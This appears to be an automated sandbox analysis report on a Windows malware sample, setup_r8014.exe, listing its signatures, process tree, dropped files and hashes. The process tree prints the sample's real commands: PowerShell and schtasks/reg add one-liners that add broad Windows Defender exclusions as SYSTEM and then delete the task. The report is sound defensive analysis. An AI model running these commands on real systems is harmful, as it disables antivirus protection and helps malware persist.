Analysis

  • max time kernel
    147s
  • max time network
    150s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    05/08/2026, 04:32

General

  • Target
    setup_r8014.exe
  • Size 40.9MB
  • Sample260805-e6am5sdd88
  • SHA256 864a386241ae55c2259f4a5f72c77e60eeb5546fcca9d98a62af7640803cc18c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\setup_r8014.exe
    "C:\Users\Admin\AppData\Local\Temp\setup_r8014.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:4164
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:5964
    • C:\Users\Public\uiIpYS\bbFijV.exe
      "C:\Users\Public\uiIpYS\bbFijV.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Drops file in System32 directory
      • Drops file in Program Files directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3028
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of AdjustPrivilegeToken
        PID:1668
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\uiIpYS\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
        2⤵
        • Indicator Removal: Clear Persistence
        • Suspicious use of WriteProcessMemory
        PID:4696
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\uiIpYS\" /t REG_DWORD /d 0 /f"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2660
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Run /TN "Task1"
          3⤵
            PID:1784
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Delete /TN "Task1" /F
            3⤵
              PID:1940
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
            2⤵
            • Indicator Removal: Clear Persistence
            • Suspicious use of WriteProcessMemory
            PID:6060
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:1504
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Run /TN "Task1"
              3⤵
                PID:1968
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN "Task1" /F
                3⤵
                  PID:2020
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                2⤵
                • Indicator Removal: Clear Persistence
                • Suspicious use of WriteProcessMemory
                PID:5712
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                  3⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:2096
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Run /TN "Task1"
                  3⤵
                    PID:4260
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Delete /TN "Task1" /F
                    3⤵
                      PID:2676
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                    2⤵
                    • Indicator Removal: Clear Persistence
                    • Suspicious use of WriteProcessMemory
                    PID:4848
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:2592
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Run /TN "Task1"
                      3⤵
                        PID:1528
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Delete /TN "Task1" /F
                        3⤵
                          PID:3048
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                        2⤵
                        • Indicator Removal: Clear Persistence
                        • Suspicious use of WriteProcessMemory
                        PID:2264
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                          3⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:1592
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Run /TN "Task1"
                          3⤵
                            PID:5808
                          • C:\Windows\system32\schtasks.exe
                            SCHTASKS /Delete /TN "Task1" /F
                            3⤵
                              PID:5144
                          • C:\Program Files (x86)\Nhzn2n\t7FlRg.exe
                            "C:\Program Files (x86)\Nhzn2n\t7FlRg.exe"
                            2⤵
                              PID:2352
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\uiIpYS" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:1640
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\uiIpYS" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:2976
                          • C:\Users\Public\uiIpYS\bbFijV.exe
                            "C:\Users\Public\uiIpYS\bbFijV.exe"
                            1⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            PID:2384
                          • C:\Windows\system32\cmd.exe
                            cmd.exe
                            1⤵
                              PID:3756
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              • Suspicious use of WriteProcessMemory
                              PID:2012
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                                2⤵
                                • Windows security bypass
                                PID:1596
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              • Suspicious use of WriteProcessMemory
                              PID:2960
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                                2⤵
                                • Windows security bypass
                                PID:1380
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              • Suspicious use of WriteProcessMemory
                              PID:464
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                2⤵
                                • Windows security bypass
                                PID:2996

                            Network

                                  MITRE ATT&CK Enterprise v16

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                                  Downloads

                                  XPSPLOG.dll

                                  • Path C:\Program Files (x86)\Nhzn2n\XPSPLOG.dll
                                  • Size 4.6MB
                                  • SHA256 0440053d6c81342d6bbfe4c5aa798f6040d6e976c78bd892a10ae2bccb0ac22e
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  image.png

                                  • Path C:\Program Files (x86)\Nhzn2n\image.png
                                  • Size 5.0MB
                                  • SHA256 c83b496947bb679730844c9fad7aee5930a93320375aac080d6e8807abe4d314
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  t7FlRg.exe

                                  • Path C:\Program Files (x86)\Nhzn2n\t7FlRg.exe
                                  • Size 145KB
                                  • SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  thumbs.db

                                  • Path C:\Program Files (x86)\Nhzn2n\thumbs.db
                                  • Size 358KB
                                  • SHA256 2262ed59656d33e8bbf7cef321fa4fdeeea75bbfd739e4b177024d837f1b6a14
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  UxEnhance64.dll

                                  • Path C:\Users\Public\uiIpYS\UxEnhance64.dll
                                  • Size 3.1MB
                                  • SHA256 31b36d077866a9cafccb8f54492729505eadf974930301534033c4256ae3a26d
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  adoresd.dat

                                  • Path C:\Users\Public\uiIpYS\adoresd.dat
                                  • Size 4.7MB
                                  • SHA256 4079829cb2071656d514ae06121822f0f6beaae6e0c52214fea77cc151eff011
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  bbFijV.exe

                                  • Path C:\Users\Public\uiIpYS\bbFijV.exe
                                  • Size 135KB
                                  • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  msadox.tb

                                  • Path C:\Users\Public\uiIpYS\msadox.tb
                                  • Size 8KB
                                  • SHA256 ca86e0bf8667567e67367da9b7a11db464481850f2dfec288c72cfc571b3b335
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  memory/1668-596-0x000002657B390000-0x000002657B3B2000-memory.dmp

                                  memory/1668-599-0x000002657B610000-0x000002657B62E000-memory.dmp

                                  memory/1668-600-0x000002657B630000-0x000002657B6E2000-memory.dmp

                                  memory/1668-601-0x000002657B3F0000-0x000002657B3FA000-memory.dmp

                                  memory/2352-684-0x0000000001190000-0x0000000001191000-memory.dmp

                                  memory/2352-696-0x0000000001550000-0x0000000001564000-memory.dmp

                                  memory/2352-678-0x0000000074D70000-0x00000000754BA000-memory.dmp

                                  memory/2352-682-0x00000000037B0000-0x0000000003FB7000-memory.dmp

                                  memory/2352-677-0x0000000001020000-0x0000000001021000-memory.dmp

                                  memory/2352-686-0x00000000037B0000-0x0000000003FB7000-memory.dmp

                                  memory/2352-689-0x00000000037B0000-0x0000000003FB7000-memory.dmp

                                  memory/2384-582-0x00007FFC82580000-0x00007FFC82582000-memory.dmp

                                  memory/2384-589-0x0000019184400000-0x0000019184C91000-memory.dmp

                                  memory/2384-591-0x00007FFC82570000-0x00007FFC82572000-memory.dmp

                                  memory/2384-590-0x0000019184400000-0x0000019184C91000-memory.dmp

                                  memory/2384-587-0x0000019184400000-0x0000019184C91000-memory.dmp

                                  memory/2384-588-0x0000019184400000-0x0000019184C91000-memory.dmp

                                  memory/2384-583-0x0000019184400000-0x0000019184C91000-memory.dmp

                                  memory/2384-576-0x00007FFC5F920000-0x00007FFC5FE3E000-memory.dmp

                                  memory/2384-578-0x0000019184400000-0x0000019184C91000-memory.dmp

                                  memory/3028-539-0x00007FFC82580000-0x00007FFC82582000-memory.dmp

                                  memory/3028-547-0x000002AC668B0000-0x000002AC67141000-memory.dmp

                                  memory/3028-565-0x000002AC668B0000-0x000002AC67141000-memory.dmp

                                  memory/3028-560-0x000002AC67150000-0x000002AC671DA000-memory.dmp

                                  memory/3028-561-0x000002AC67150000-0x000002AC671DA000-memory.dmp

                                  memory/3028-563-0x000002AC67150000-0x000002AC671DA000-memory.dmp

                                  memory/3028-562-0x000002AC67150000-0x000002AC671DA000-memory.dmp

                                  memory/3028-558-0x000002AC65D90000-0x000002AC65DDE000-memory.dmp

                                  memory/3028-552-0x000002AC668B0000-0x000002AC67141000-memory.dmp

                                  memory/3028-545-0x000002AC668B0000-0x000002AC67141000-memory.dmp

                                  memory/3028-546-0x000002AC668B0000-0x000002AC67141000-memory.dmp

                                  memory/3028-567-0x000002AC668B0000-0x000002AC67141000-memory.dmp

                                  memory/3028-544-0x000002AC668B0000-0x000002AC67141000-memory.dmp

                                  memory/3028-540-0x000002AC668B0000-0x000002AC67141000-memory.dmp

                                  memory/3028-531-0x00007FFC82570000-0x00007FFC82572000-memory.dmp

                                  memory/3028-537-0x000002AC668B0000-0x000002AC67141000-memory.dmp

                                  memory/3028-532-0x00007FFC5F920000-0x00007FFC5FE3E000-memory.dmp

                                  memory/4164-0-0x00000000048C0000-0x00000000048CD000-memory.dmp

                                  memory/4164-526-0x00007FFC77EF0000-0x00007FFC77F02000-memory.dmp

                                  memory/4164-525-0x00000000048C0000-0x00000000048CD000-memory.dmp

                                  memory/4164-503-0x00007FFC77EF0000-0x00007FFC77F02000-memory.dmp

                                  memory/4164-1-0x00000000048D0000-0x00000000048DB000-memory.dmp